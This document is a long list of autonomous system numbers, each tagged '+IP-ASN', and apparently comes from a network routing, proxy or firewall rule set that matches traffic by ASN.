30438 +IP-ASN, 31769 +IP-ASN, 30432 +IP-ASN, 31764 +IP-ASN, 31763 +IP-ASN, 31766 +IP-ASN, 30434 +IP-ASN, 30435 +IP-ASN, 2274 +IP-ASN, 31762 +IP-ASN, 30430 +IP-ASN, 31761 +IP-ASN, 18790 +IP-ASN, 18791 +IP-ASN, 18792 +IP-ASN, 30425 +IP-ASN, 31757 +IP-ASN, 30426 +IP-ASN, 31756 +IP-ASN, 31759 +IP-ASN, 31758 +IP-ASN, 30428 +IP-ASN, 31753 +IP-ASN, 31752 +IP-ASN, 18798 +IP-ASN, 31755 +IP-ASN, 30423 +IP-ASN, 18799 +IP-ASN, 30424 +IP-ASN, 31754 +IP-ASN, 18793 +IP-ASN, 18794 +IP-ASN, 18795 +IP-ASN, 31751 +IP-ASN, 31750 +IP-ASN, 18796 +IP-ASN, 206625 +IP-ASN, 206628 +IP-ASN, 133144 +IP-ASN, 400101 +IP-ASN, 400102 +IP-ASN, 400104 +IP-ASN, 400107 +IP-ASN, 30399 +IP-ASN, 30395 +IP-ASN, 30398 +IP-ASN, 30393 +IP-ASN, 30394 +IP-ASN, 30390 +IP-ASN, 30384 +IP-ASN, 30385 +IP-ASN, 30387 +IP-ASN, 54352 +IP-ASN, 400131 +IP-ASN, 400132 +IP-ASN, 54350 +IP-ASN, 41041 +IP-ASN, 400134 +IP-ASN, 54344 +IP-ASN, 54345 +IP-ASN, 400135 +IP-ASN, 400136 +IP-ASN, 54342 +IP-ASN, 18701 +IP-ASN, 400137 +IP-ASN, 400138 +IP-ASN, 54348 +IP-ASN, 54349 +IP-ASN, 216013 +IP-ASN, 400140 +IP-ASN, 54362 +IP-ASN, 400141 +IP-ASN, 54363 +IP-ASN, 400142 +IP-ASN, 54360 +IP-ASN, 54361 +IP-ASN, 206699 +IP-ASN, 54355 +IP-ASN, 400145 +IP-ASN, 400146 +IP-ASN, 54354 +IP-ASN, 400148 +IP-ASN, 54357 +IP-ASN, 54370 +IP-ASN, 54373 +IP-ASN, 54374 +IP-ASN, 54371 +IP-ASN, 54372 +IP-ASN, 400111 +IP-ASN, 54366 +IP-ASN, 54367 +IP-ASN, 54364 +IP-ASN, 400114 +IP-ASN, 400115 +IP-ASN, 400116 +IP-ASN, 400117 +IP-ASN, 400119 +IP-ASN, 54369 +IP-ASN, 54380 +IP-ASN, 54381 +IP-ASN, 54384 +IP-ASN, 54385 +IP-ASN, 400121 +IP-ASN, 54383 +IP-ASN, 400122 +IP-ASN, 54377 +IP-ASN, 54375 +IP-ASN, 400125 +IP-ASN, 400126 +IP-ASN, 400127 +IP-ASN, 400129 +IP-ASN, 54391 +IP-ASN, 54392 +IP-ASN, 400171 +IP-ASN, 54390 +IP-ASN, 400174 +IP-ASN, 54396 +IP-ASN, 400175 +IP-ASN, 54393 +IP-ASN, 400177 +IP-ASN, 400179 +IP-ASN, 54389 +IP-ASN, 400181 +IP-ASN, 400182 +IP-ASN, 400183 +IP-ASN, 400185 +IP-ASN, 400186 +IP-ASN, 400188 +IP-ASN, 400180 +IP-ASN, 54399 +IP-ASN, 400189 +IP-ASN, 400151 +IP-ASN, 400152 +IP-ASN, 400153 +IP-ASN, 400155 +IP-ASN, 206646 +IP-ASN, 400156 +IP-ASN, 400157 +IP-ASN, 400159 +IP-ASN, 400160 +IP-ASN, 400161 +IP-ASN, 400164 +IP-ASN, 400167 +IP-ASN, 400093 +IP-ASN, 400096 +IP-ASN, 17327 +IP-ASN, 400097 +IP-ASN, 18658 +IP-ASN, 18659 +IP-ASN, 400090 +IP-ASN, 4190 +IP-ASN, 18660 +IP-ASN, 19991 +IP-ASN, 32955 +IP-ASN, 32958 +IP-ASN, 32957 +IP-ASN, 32952 +IP-ASN, 4196 +IP-ASN, 32951 +IP-ASN, 19997 +IP-ASN, 18666 +IP-ASN, 19998 +IP-ASN, 19999 +IP-ASN, 17330 +IP-ASN, 32953 +IP-ASN, 18668 +IP-ASN, 4193 +IP-ASN, 18661 +IP-ASN, 17336 +IP-ASN, 4192 +IP-ASN, 19993 +IP-ASN, 18662 +IP-ASN, 4195 +IP-ASN, 18663 +IP-ASN, 19994 +IP-ASN, 19995 +IP-ASN, 18664 +IP-ASN, 194 +IP-ASN, 195 +IP-ASN, 17318 +IP-ASN, 17317 +IP-ASN, 18647 +IP-ASN, 18648 +IP-ASN, 18649 +IP-ASN, 196 +IP-ASN, 190 +IP-ASN, 32949 +IP-ASN, 32948 +IP-ASN, 19980 +IP-ASN, 32945 +IP-ASN, 32946 +IP-ASN, 17322 +IP-ASN, 17321 +IP-ASN, 18656 +IP-ASN, 19987 +IP-ASN, 17320 +IP-ASN, 32943 +IP-ASN, 32942 +IP-ASN, 19988 +IP-ASN, 18650 +IP-ASN, 17326 +IP-ASN, 19982 +IP-ASN, 18651 +IP-ASN, 17324 +IP-ASN, 19983 +IP-ASN, 19984 +IP-ASN, 17308 +IP-ASN, 400071 +IP-ASN, 17307 +IP-ASN, 17306 +IP-ASN, 400073 +IP-ASN, 17305 +IP-ASN, 19967 +IP-ASN, 18636 +IP-ASN, 19969 +IP-ASN, 400077 +IP-ASN, 18639 +IP-ASN, 17309 +IP-ASN, 44965 +IP-ASN, 400070 +IP-ASN, 32938 +IP-ASN, 32937 +IP-ASN, 32934 +IP-ASN, 32933 +IP-ASN, 32936 +IP-ASN, 32930 +IP-ASN, 18643 +IP-ASN, 400079 +IP-ASN, 19974 +IP-ASN, 17311 +IP-ASN, 17310 +IP-ASN, 32932 +IP-ASN, 18645 +IP-ASN, 19977 +IP-ASN, 18646 +IP-ASN, 32931 +IP-ASN, 19970 +IP-ASN, 18640 +IP-ASN, 19971 +IP-ASN, 17314 +IP-ASN, 17313 +IP-ASN, 19972 +IP-ASN, 18641 +IP-ASN, 18629 +IP-ASN, 400086 +IP-ASN, 18625 +IP-ASN, 19957 +IP-ASN, 400087 +IP-ASN, 400088 +IP-ASN, 400089 +IP-ASN, 18628 +IP-ASN, 400080 +IP-ASN, 32927 +IP-ASN, 32926 +IP-ASN, 32929 +IP-ASN, 32928 +IP-ASN, 32923 +IP-ASN, 32922 +IP-ASN, 32924 +IP-ASN, 18632 +IP-ASN, 19963 +IP-ASN, 18633 +IP-ASN, 19964 +IP-ASN, 19966 +IP-ASN, 32920 +IP-ASN, 17304 +IP-ASN, 17303 +IP-ASN, 19961 +IP-ASN, 18630 +IP-ASN, 17301 +IP-ASN, 18618 +IP-ASN, 161 +IP-ASN, 19949 +IP-ASN, 18619 +IP-ASN, 160 +IP-ASN, 19945 +IP-ASN, 18614 +IP-ASN, 18615 +IP-ASN, 166 +IP-ASN, 19946 +IP-ASN, 18616 +IP-ASN, 32916 +IP-ASN, 54308 +IP-ASN, 54309 +IP-ASN, 32915 +IP-ASN, 54306 +IP-ASN, 32912 +IP-ASN, 32913 +IP-ASN, 158 +IP-ASN, 54300 +IP-ASN, 54301 +IP-ASN, 18622 +IP-ASN, 4152 +IP-ASN, 159 +IP-ASN, 156 +IP-ASN, 4155 +IP-ASN, 19955 +IP-ASN, 18624 +IP-ASN, 157 +IP-ASN, 54304 +IP-ASN, 54305 +IP-ASN, 19950 +IP-ASN, 54302 +IP-ASN, 4151 +IP-ASN, 56965 +IP-ASN, 4150 +IP-ASN, 54303 +IP-ASN, 19951 +IP-ASN, 18607 +IP-ASN, 18608 +IP-ASN, 19939 +IP-ASN, 19934 +IP-ASN, 18604 +IP-ASN, 19936 +IP-ASN, 18605 +IP-ASN, 153 +IP-ASN, 32908 +IP-ASN, 32904 +IP-ASN, 32907 +IP-ASN, 54317 +IP-ASN, 32906 +IP-ASN, 54318 +IP-ASN, 32903 +IP-ASN, 54311 +IP-ASN, 19941 +IP-ASN, 18610 +IP-ASN, 147 +IP-ASN, 54312 +IP-ASN, 18612 +IP-ASN, 54315 +IP-ASN, 54316 +IP-ASN, 54313 +IP-ASN, 149 +IP-ASN, 54314 +IP-ASN, 19940 +IP-ASN, 19927 +IP-ASN, 19929 +IP-ASN, 4179 +IP-ASN, 19923 +IP-ASN, 187 +IP-ASN, 54330 +IP-ASN, 188 +IP-ASN, 19924 +IP-ASN, 19926 +IP-ASN, 186 +IP-ASN, 54328 +IP-ASN, 54329 +IP-ASN, 19930 +IP-ASN, 19931 +IP-ASN, 54323 +IP-ASN, 18600 +IP-ASN, 19932 +IP-ASN, 18601 +IP-ASN, 18602 +IP-ASN, 19933 +IP-ASN, 54321 +IP-ASN, 54326 +IP-ASN, 54327 +IP-ASN, 54324 +IP-ASN, 54325 +IP-ASN, 19917 +IP-ASN, 19918 +IP-ASN, 170 +IP-ASN, 19919 +IP-ASN, 54340 +IP-ASN, 19912 +IP-ASN, 54341 +IP-ASN, 19913 +IP-ASN, 177 +IP-ASN, 174 +IP-ASN, 19914 +IP-ASN, 43685 +IP-ASN, 54339 +IP-ASN, 4186 +IP-ASN, 54334 +IP-ASN, 19920 +IP-ASN, 4185 +IP-ASN, 4188 +IP-ASN, 167 +IP-ASN, 54331 +IP-ASN, 54332 +IP-ASN, 168 +IP-ASN, 54337 +IP-ASN, 4182 +IP-ASN, 4181 +IP-ASN, 54338 +IP-ASN, 54335 +IP-ASN, 4184 +IP-ASN, 54336 +IP-ASN, 30382 +IP-ASN, 30383 +IP-ASN, 121 +IP-ASN, 122 +IP-ASN, 16081 +IP-ASN, 30377 +IP-ASN, 30378 +IP-ASN, 112 +IP-ASN, 30379 +IP-ASN, 30373 +IP-ASN, 116 +IP-ASN, 30376 +IP-ASN, 30371 +IP-ASN, 30372 +IP-ASN, 4129 +IP-ASN, 111 +IP-ASN, 109 +IP-ASN, 103 +IP-ASN, 30366 +IP-ASN, 30367 +IP-ASN, 104 +IP-ASN, 101 +IP-ASN, 102 +IP-ASN, 30362 +IP-ASN, 30363 +IP-ASN, 30364 +IP-ASN, 106 +IP-ASN, 4138 +IP-ASN, 140 +IP-ASN, 30361 +IP-ASN, 4136 +IP-ASN, 17390 +IP-ASN, 30359 +IP-ASN, 17394 +IP-ASN, 4130 +IP-ASN, 30356 +IP-ASN, 4133 +IP-ASN, 138 +IP-ASN, 30354 +IP-ASN, 30350 +IP-ASN, 131 +IP-ASN, 17380 +IP-ASN, 17383 +IP-ASN, 17382 +IP-ASN, 17381 +IP-ASN, 125 +IP-ASN, 17388 +IP-ASN, 30344 +IP-ASN, 17387 +IP-ASN, 17386 +IP-ASN, 30346 +IP-ASN, 17385 +IP-ASN, 30340 +IP-ASN, 129 +IP-ASN, 30341 +IP-ASN, 127 +IP-ASN, 17389 +IP-ASN, 30343 +IP-ASN, 30337 +IP-ASN, 17373 +IP-ASN, 32999 +IP-ASN, 30338 +IP-ASN, 30339 +IP-ASN, 17377 +IP-ASN, 32996 +IP-ASN, 30333 +IP-ASN, 32995 +IP-ASN, 30334 +IP-ASN, 30335 +IP-ASN, 32998 +IP-ASN, 17375 +IP-ASN, 17374 +IP-ASN, 32992 +IP-ASN, 30330 +IP-ASN, 32991 +IP-ASN, 30331 +IP-ASN, 17378 +IP-ASN, 32990 +IP-ASN, 18690 +IP-ASN, 18692 +IP-ASN, 18693 +IP-ASN, 17362 +IP-ASN, 32989 +IP-ASN, 30327 +IP-ASN, 17361 +IP-ASN, 32988 +IP-ASN, 17366 +IP-ASN, 18698 +IP-ASN, 32985 +IP-ASN, 32984 +IP-ASN, 17365 +IP-ASN, 32987 +IP-ASN, 17364 +IP-ASN, 30325 +IP-ASN, 32986 +IP-ASN, 18694 +IP-ASN, 32980 +IP-ASN, 17369 +IP-ASN, 30320 +IP-ASN, 18696 +IP-ASN, 32982 +IP-ASN, 30321 +IP-ASN, 18697 +IP-ASN, 17367 +IP-ASN, 17349 +IP-ASN, 100 +IP-ASN, 18680 +IP-ASN, 18682 +IP-ASN, 17351 +IP-ASN, 17350 +IP-ASN, 32977 +IP-ASN, 30317 +IP-ASN, 32974 +IP-ASN, 30311 +IP-ASN, 17355 +IP-ASN, 32973 +IP-ASN, 30312 +IP-ASN, 30313 +IP-ASN, 18689 +IP-ASN, 17352 +IP-ASN, 18683 +IP-ASN, 17359 +IP-ASN, 18684 +IP-ASN, 17358 +IP-ASN, 17357 +IP-ASN, 17356 +IP-ASN, 32971 +IP-ASN, 30310 +IP-ASN, 17339 +IP-ASN, 17338 +IP-ASN, 18669 +IP-ASN, 30308 +IP-ASN, 30309 +IP-ASN, 18670 +IP-ASN, 18671 +IP-ASN, 30304 +IP-ASN, 30305 +IP-ASN, 32969 +IP-ASN, 30307 +IP-ASN, 18676 +IP-ASN, 17344 +IP-ASN, 30301 +IP-ASN, 17343 +IP-ASN, 30302 +IP-ASN, 17342 +IP-ASN, 30303 +IP-ASN, 18679 +IP-ASN, 17341 +IP-ASN, 17348 +IP-ASN, 18672 +IP-ASN, 18673 +IP-ASN, 18674 +IP-ASN, 18675 +IP-ASN, 6932 +IP-ASN, 6931 +IP-ASN, 6939 +IP-ASN, 206501 +IP-ASN, 6946 +IP-ASN, 6943 +IP-ASN, 6941 +IP-ASN, 6949 +IP-ASN, 6947 +IP-ASN, 6954 +IP-ASN, 6955 +IP-ASN, 6950 +IP-ASN, 6951 +IP-ASN, 196629 +IP-ASN, 148996 +IP-ASN, 5635 +IP-ASN, 6966 +IP-ASN, 5632 +IP-ASN, 4307 +IP-ASN, 5638 +IP-ASN, 4309 +IP-ASN, 400210 +IP-ASN, 400219 +IP-ASN, 400211 +IP-ASN, 400212 +IP-ASN, 400213 +IP-ASN, 400214 +IP-ASN, 400215 +IP-ASN, 400216 +IP-ASN, 30298 +IP-ASN, 400218 +IP-ASN, 30299 +IP-ASN, 30292 +IP-ASN, 30293 +IP-ASN, 400220 +IP-ASN, 30290 +IP-ASN, 30291 +IP-ASN, 400224 +IP-ASN, 400225 +IP-ASN, 400226 +IP-ASN, 30286 +IP-ASN, 400227 +IP-ASN, 400228 +IP-ASN, 400229 +IP-ASN, 30281 +IP-ASN, 6912 +IP-ASN, 30282 +IP-ASN, 6913 +IP-ASN, 30283 +IP-ASN, 30284 +IP-ASN, 30280 +IP-ASN, 30278 +IP-ASN, 133052 +IP-ASN, 30276 +IP-ASN, 30277 +IP-ASN, 30270 +IP-ASN, 6924 +IP-ASN, 6921 +IP-ASN, 6922 +IP-ASN, 400208 +IP-ASN, 30267 +IP-ASN, 30268 +IP-ASN, 400201 +IP-ASN, 400203 +IP-ASN, 30263 +IP-ASN, 30264 +IP-ASN, 400205 +IP-ASN, 30266 +IP-ASN, 19905 +IP-ASN, 400251 +IP-ASN, 54230 +IP-ASN, 19901 +IP-ASN, 54231 +IP-ASN, 19902 +IP-ASN, 19903 +IP-ASN, 19904 +IP-ASN, 205252 +IP-ASN, 19909 +IP-ASN, 400255 +IP-ASN, 54223 +IP-ASN, 54224 +IP-ASN, 54221 +IP-ASN, 400257 +IP-ASN, 19911 +IP-ASN, 54222 +IP-ASN, 400258 +IP-ASN, 54228 +IP-ASN, 54225 +IP-ASN, 54226 +IP-ASN, 400260 +IP-ASN, 54241 +IP-ASN, 54240 +IP-ASN, 400267 +IP-ASN, 400268 +IP-ASN, 54238 +IP-ASN, 54239 +IP-ASN, 54236 +IP-ASN, 54237 +IP-ASN, 54252 +IP-ASN, 54253 +IP-ASN, 54250 +IP-ASN, 400232 +IP-ASN, 205232 +IP-ASN, 54245 +IP-ASN, 400233 +IP-ASN, 54246 +IP-ASN, 400234 +IP-ASN, 400235 +IP-ASN, 54244 +IP-ASN, 400236 +IP-ASN, 54249 +IP-ASN, 400238 +IP-ASN, 54247 +IP-ASN, 400239 +IP-ASN, 54248 +IP-ASN, 400240 +IP-ASN, 54264 +IP-ASN, 400241 +IP-ASN, 54261 +IP-ASN, 54256 +IP-ASN, 54257 +IP-ASN, 400245 +IP-ASN, 400246 +IP-ASN, 54255 +IP-ASN, 400249 +IP-ASN, 54259 +IP-ASN, 54270 +IP-ASN, 54271 +IP-ASN, 400293 +IP-ASN, 400294 +IP-ASN, 54274 +IP-ASN, 400295 +IP-ASN, 54273 +IP-ASN, 400298 +IP-ASN, 400290 +IP-ASN, 54267 +IP-ASN, 400299 +IP-ASN, 54268 +IP-ASN, 54266 +IP-ASN, 54269 +IP-ASN, 54282 +IP-ASN, 54286 +IP-ASN, 54283 +IP-ASN, 54278 +IP-ASN, 54279 +IP-ASN, 54277 +IP-ASN, 54292 +IP-ASN, 54293 +IP-ASN, 54290 +IP-ASN, 400271 +IP-ASN, 54291 +IP-ASN, 400272 +IP-ASN, 400273 +IP-ASN, 400274 +IP-ASN, 54297 +IP-ASN, 54294 +IP-ASN, 400275 +IP-ASN, 54295 +IP-ASN, 400278 +IP-ASN, 400279 +IP-ASN, 54287 +IP-ASN, 54288 +IP-ASN, 400282 +IP-ASN, 400283 +IP-ASN, 400284 +IP-ASN, 400285 +IP-ASN, 400287 +IP-ASN, 400289 +IP-ASN, 17209 +IP-ASN, 17207 +IP-ASN, 17206 +IP-ASN, 18537 +IP-ASN, 19868 +IP-ASN, 19869 +IP-ASN, 18538 +IP-ASN, 18539 +IP-ASN, 19870 +IP-ASN, 32835 +IP-ASN, 32834 +IP-ASN, 32837 +IP-ASN, 56808 +IP-ASN, 17212 +IP-ASN, 32831 +IP-ASN, 18544 +IP-ASN, 32830 +IP-ASN, 17211 +IP-ASN, 17210 +IP-ASN, 32833 +IP-ASN, 18546 +IP-ASN, 19878 +IP-ASN, 32832 +IP-ASN, 17216 +IP-ASN, 18540 +IP-ASN, 19871 +IP-ASN, 18541 +IP-ASN, 17215 +IP-ASN, 19872 +IP-ASN, 17214 +IP-ASN, 17213 +IP-ASN, 19874 +IP-ASN, 18543 +IP-ASN, 18526 +IP-ASN, 19857 +IP-ASN, 19858 +IP-ASN, 18527 +IP-ASN, 19859 +IP-ASN, 32828 +IP-ASN, 32829 +IP-ASN, 32824 +IP-ASN, 32823 +IP-ASN, 32826 +IP-ASN, 32825 +IP-ASN, 19864 +IP-ASN, 18533 +IP-ASN, 19865 +IP-ASN, 17200 +IP-ASN, 32822 +IP-ASN, 18535 +IP-ASN, 19866 +IP-ASN, 32821 +IP-ASN, 19867 +IP-ASN, 19860 +IP-ASN, 18530 +IP-ASN, 17204 +IP-ASN, 19861 +IP-ASN, 18531 +IP-ASN, 19862 +IP-ASN, 17202 +IP-ASN, 18519 +IP-ASN, 400194 +IP-ASN, 18515 +IP-ASN, 19846 +IP-ASN, 18516 +IP-ASN, 18517 +IP-ASN, 18518 +IP-ASN, 205196 +IP-ASN, 400190 +IP-ASN, 32818 +IP-ASN, 32812 +IP-ASN, 18522 +IP-ASN, 19853 +IP-ASN, 18523 +IP-ASN, 19855 +IP-ASN, 18524 +IP-ASN, 32810 +IP-ASN, 19856 +IP-ASN, 19851 +IP-ASN, 18521 +IP-ASN, 19839 +IP-ASN, 19836 +IP-ASN, 19838 +IP-ASN, 18507 +IP-ASN, 32809 +IP-ASN, 32806 +IP-ASN, 32805 +IP-ASN, 32808 +IP-ASN, 32802 +IP-ASN, 32801 +IP-ASN, 19843 +IP-ASN, 18512 +IP-ASN, 19844 +IP-ASN, 32800 +IP-ASN, 19845 +IP-ASN, 19840 +IP-ASN, 19841 +IP-ASN, 283 +IP-ASN, 19829 +IP-ASN, 19825 +IP-ASN, 19826 +IP-ASN, 19827 +IP-ASN, 19831 +IP-ASN, 18500 +IP-ASN, 18501 +IP-ASN, 19833 +IP-ASN, 19834 +IP-ASN, 19830 +IP-ASN, 19819 +IP-ASN, 270 +IP-ASN, 275 +IP-ASN, 276 +IP-ASN, 273 +IP-ASN, 19816 +IP-ASN, 206493 +IP-ASN, 19820 +IP-ASN, 268 +IP-ASN, 4284 +IP-ASN, 267 +IP-ASN, 4283 +IP-ASN, 4282 +IP-ASN, 19806 +IP-ASN, 19808 +IP-ASN, 19809 +IP-ASN, 19802 +IP-ASN, 19803 +IP-ASN, 19804 +IP-ASN, 205157 +IP-ASN, 54208 +IP-ASN, 54201 +IP-ASN, 4296 +IP-ASN, 19810 +IP-ASN, 299 +IP-ASN, 19812 +IP-ASN, 4297 +IP-ASN, 54205 +IP-ASN, 54203 +IP-ASN, 54204 +IP-ASN, 293 +IP-ASN, 291 +IP-ASN, 292 +IP-ASN, 297 +IP-ASN, 290 +IP-ASN, 54218 +IP-ASN, 54219 +IP-ASN, 19800 +IP-ASN, 289 +IP-ASN, 54216 +IP-ASN, 54214 +IP-ASN, 54215 +IP-ASN, 4237 +IP-ASN, 30260 +IP-ASN, 30261 +IP-ASN, 30262 +IP-ASN, 243 +IP-ASN, 17291 +IP-ASN, 17294 +IP-ASN, 17293 +IP-ASN, 30257 +IP-ASN, 30258 +IP-ASN, 4232 +IP-ASN, 17298 +IP-ASN, 30259 +IP-ASN, 17297 +IP-ASN, 30252 +IP-ASN, 237 +IP-ASN, 30255 +IP-ASN, 4249 +IP-ASN, 30250 +IP-ASN, 30251 +IP-ASN, 231 +IP-ASN, 4246 +IP-ASN, 17281 +IP-ASN, 17285 +IP-ASN, 17283 +IP-ASN, 17282 +IP-ASN, 4241 +IP-ASN, 17289 +IP-ASN, 225 +IP-ASN, 30247 +IP-ASN, 4243 +IP-ASN, 223 +IP-ASN, 30248 +IP-ASN, 17286 +IP-ASN, 228 +IP-ASN, 229 +IP-ASN, 30242 +IP-ASN, 226 +IP-ASN, 30243 +IP-ASN, 30244 +IP-ASN, 260 +IP-ASN, 264 +IP-ASN, 4255 +IP-ASN, 4258 +IP-ASN, 262 +IP-ASN, 17270 +IP-ASN, 30238 +IP-ASN, 17274 +IP-ASN, 30239 +IP-ASN, 17272 +IP-ASN, 17271 +IP-ASN, 257 +IP-ASN, 32897 +IP-ASN, 17278 +IP-ASN, 32896 +IP-ASN, 258 +IP-ASN, 32899 +IP-ASN, 17276 +IP-ASN, 17275 +IP-ASN, 32898 +IP-ASN, 30237 +IP-ASN, 32893 +IP-ASN, 32892 +IP-ASN, 30231 +IP-ASN, 32895 +IP-ASN, 30232 +IP-ASN, 32894 +IP-ASN, 17279 +IP-ASN, 30233 +IP-ASN, 32890 +IP-ASN, 254 +IP-ASN, 4268 +IP-ASN, 252 +IP-ASN, 18591 +IP-ASN, 18593 +IP-ASN, 18594 +IP-ASN, 30227 +IP-ASN, 32889 +IP-ASN, 30228 +IP-ASN, 30229 +IP-ASN, 18590 +IP-ASN, 32886 +IP-ASN, 17267 +IP-ASN, 18599 +IP-ASN, 30224 +IP-ASN, 4262 +IP-ASN, 32885 +IP-ASN, 17264 +IP-ASN, 32887 +IP-ASN, 4264 +IP-ASN, 18595 +IP-ASN, 18596 +IP-ASN, 30220 +IP-ASN, 30221 +IP-ASN, 4261 +IP-ASN, 32884 +IP-ASN, 17269 +IP-ASN, 18597 +IP-ASN, 32883 +IP-ASN, 18598 +IP-ASN, 32880 +IP-ASN, 6853 +IP-ASN, 18580 +IP-ASN, 18583 +IP-ASN, 30216 +IP-ASN, 17252 +IP-ASN, 31547 +IP-ASN, 30217 +IP-ASN, 30218 +IP-ASN, 30219 +IP-ASN, 30212 +IP-ASN, 32875 +IP-ASN, 32877 +IP-ASN, 17253 +IP-ASN, 30215 +IP-ASN, 32876 +IP-ASN, 18584 +IP-ASN, 32871 +IP-ASN, 32870 +IP-ASN, 32873 +IP-ASN, 18586 +IP-ASN, 32872 +IP-ASN, 30211 +IP-ASN, 4201 +IP-ASN, 4208 +IP-ASN, 18570 +IP-ASN, 18571 +IP-ASN, 18572 +IP-ASN, 30205 +IP-ASN, 32867 +IP-ASN, 17240 +IP-ASN, 32869 +IP-ASN, 18577 +IP-ASN, 17245 +IP-ASN, 30202 +IP-ASN, 32863 +IP-ASN, 18578 +IP-ASN, 17244 +IP-ASN, 32866 +IP-ASN, 17243 +IP-ASN, 17242 +IP-ASN, 18573 +IP-ASN, 17248 +IP-ASN, 17247 +IP-ASN, 32861 +IP-ASN, 30200 +IP-ASN, 17229 +IP-ASN, 4211 +IP-ASN, 5545 +IP-ASN, 4213 +IP-ASN, 19890 +IP-ASN, 29207 +IP-ASN, 18560 +IP-ASN, 18561 +IP-ASN, 32859 +IP-ASN, 17234 +IP-ASN, 32853 +IP-ASN, 213 +IP-ASN, 19898 +IP-ASN, 32852 +IP-ASN, 18567 +IP-ASN, 18568 +IP-ASN, 19899 +IP-ASN, 17232 +IP-ASN, 32854 +IP-ASN, 18569 +IP-ASN, 17231 +IP-ASN, 19893 +IP-ASN, 17238 +IP-ASN, 217 +IP-ASN, 18562 +IP-ASN, 17237 +IP-ASN, 18564 +IP-ASN, 32851 +IP-ASN, 17236 +IP-ASN, 32850 +IP-ASN, 17235 +IP-ASN, 4226 +IP-ASN, 17219 +IP-ASN, 4229 +IP-ASN, 17218 +IP-ASN, 210 +IP-ASN, 18549 +IP-ASN, 4224 +IP-ASN, 19880 +IP-ASN, 209 +IP-ASN, 19881 +IP-ASN, 18550 +IP-ASN, 32846 +IP-ASN, 32845 +IP-ASN, 32848 +IP-ASN, 32847 +IP-ASN, 202 +IP-ASN, 17223 +IP-ASN, 19886 +IP-ASN, 18555 +IP-ASN, 18556 +IP-ASN, 19887 +IP-ASN, 32841 +IP-ASN, 203 +IP-ASN, 197992 +IP-ASN, 200 +IP-ASN, 19888 +IP-ASN, 197993 +IP-ASN, 18557 +IP-ASN, 4221 +IP-ASN, 32843 +IP-ASN, 18558 +IP-ASN, 206 +IP-ASN, 18551 +IP-ASN, 17227 +IP-ASN, 18552 +IP-ASN, 32840 +IP-ASN, 18553 +IP-ASN, 17225 +IP-ASN, 205 +IP-ASN, 19885 +IP-ASN, 18554 +IP-ASN, 17224 +IP-ASN, 5723 +IP-ASN, 5724 +IP-ASN, 54192 +IP-ASN, 5721 +IP-ASN, 54196 +IP-ASN, 5726 +IP-ASN, 54190 +IP-ASN, 5728 +IP-ASN, 54189 +IP-ASN, 5733 +IP-ASN, 5730 +IP-ASN, 5738 +IP-ASN, 5739 +IP-ASN, 400309 +IP-ASN, 54199 +IP-ASN, 400301 +IP-ASN, 400302 +IP-ASN, 400303 +IP-ASN, 400304 +IP-ASN, 400305 +IP-ASN, 5744 +IP-ASN, 5740 +IP-ASN, 5742 +IP-ASN, 197841 +IP-ASN, 30197 +IP-ASN, 30198 +IP-ASN, 30193 +IP-ASN, 136899 +IP-ASN, 5758 +IP-ASN, 30196 +IP-ASN, 5752 +IP-ASN, 30192 +IP-ASN, 409 +IP-ASN, 406 +IP-ASN, 197832 +IP-ASN, 400 +IP-ASN, 30187 +IP-ASN, 405 +IP-ASN, 30188 +IP-ASN, 30189 +IP-ASN, 30182 +IP-ASN, 30183 +IP-ASN, 30184 +IP-ASN, 30185 +IP-ASN, 30175 +IP-ASN, 30177 +IP-ASN, 400338 +IP-ASN, 400339 +IP-ASN, 30171 +IP-ASN, 30172 +IP-ASN, 30174 +IP-ASN, 30170 +IP-ASN, 400342 +IP-ASN, 30168 +IP-ASN, 400344 +IP-ASN, 400347 +IP-ASN, 30165 +IP-ASN, 400348 +IP-ASN, 30166 +IP-ASN, 30167 +IP-ASN, 30162 +IP-ASN, 5702 +IP-ASN, 5705 +IP-ASN, 5707 +IP-ASN, 400318 +IP-ASN, 17192 +IP-ASN, 400319 +IP-ASN, 17190 +IP-ASN, 17197 +IP-ASN, 17196 +IP-ASN, 17195 +IP-ASN, 17194 +IP-ASN, 400311 +IP-ASN, 17199 +IP-ASN, 400312 +IP-ASN, 135592 +IP-ASN, 400313 +IP-ASN, 400314 +IP-ASN, 30153 +IP-ASN, 400315 +IP-ASN, 30154 +IP-ASN, 400316 +IP-ASN, 30155 +IP-ASN, 400317 +IP-ASN, 30156 +IP-ASN, 30150 +IP-ASN, 5714 +IP-ASN, 30151 +IP-ASN, 5719 +IP-ASN, 5716 +IP-ASN, 5715 +IP-ASN, 400329 +IP-ASN, 17180 +IP-ASN, 17185 +IP-ASN, 17184 +IP-ASN, 30146 +IP-ASN, 400321 +IP-ASN, 17189 +IP-ASN, 400322 +IP-ASN, 30148 +IP-ASN, 400323 +IP-ASN, 30149 +IP-ASN, 30142 +IP-ASN, 400326 +IP-ASN, 400327 +IP-ASN, 30144 +IP-ASN, 400371 +IP-ASN, 400373 +IP-ASN, 54110 +IP-ASN, 400375 +IP-ASN, 400376 +IP-ASN, 54102 +IP-ASN, 54103 +IP-ASN, 400377 +IP-ASN, 400379 +IP-ASN, 56762 +IP-ASN, 54106 +IP-ASN, 54107 +IP-ASN, 54104 +IP-ASN, 400380 +IP-ASN, 400381 +IP-ASN, 54120 +IP-ASN, 400383 +IP-ASN, 54121 +IP-ASN, 400384 +IP-ASN, 400385 +IP-ASN, 400386 +IP-ASN, 54119 +IP-ASN, 54113 +IP-ASN, 400387 +IP-ASN, 54114 +IP-ASN, 54111 +IP-ASN, 54112 +IP-ASN, 56773 +IP-ASN, 54118 +IP-ASN, 54115 +IP-ASN, 54116 +IP-ASN, 54131 +IP-ASN, 400350 +IP-ASN, 400351 +IP-ASN, 400352 +IP-ASN, 54130 +IP-ASN, 136806 +IP-ASN, 54124 +IP-ASN, 54125 +IP-ASN, 400355 +IP-ASN, 400356 +IP-ASN, 400357 +IP-ASN, 54128 +IP-ASN, 54142 +IP-ASN, 54143 +IP-ASN, 400362 +IP-ASN, 400364 +IP-ASN, 54135 +IP-ASN, 400365 +IP-ASN, 54134 +IP-ASN, 400369 +IP-ASN, 54138 +IP-ASN, 54150 +IP-ASN, 54153 +IP-ASN, 54152 +IP-ASN, 54145 +IP-ASN, 54149 +IP-ASN, 54161 +IP-ASN, 54163 +IP-ASN, 54155 +IP-ASN, 54156 +IP-ASN, 54159 +IP-ASN, 400391 +IP-ASN, 54172 +IP-ASN, 400392 +IP-ASN, 400393 +IP-ASN, 400396 +IP-ASN, 54174 +IP-ASN, 400397 +IP-ASN, 400398 +IP-ASN, 54168 +IP-ASN, 54169 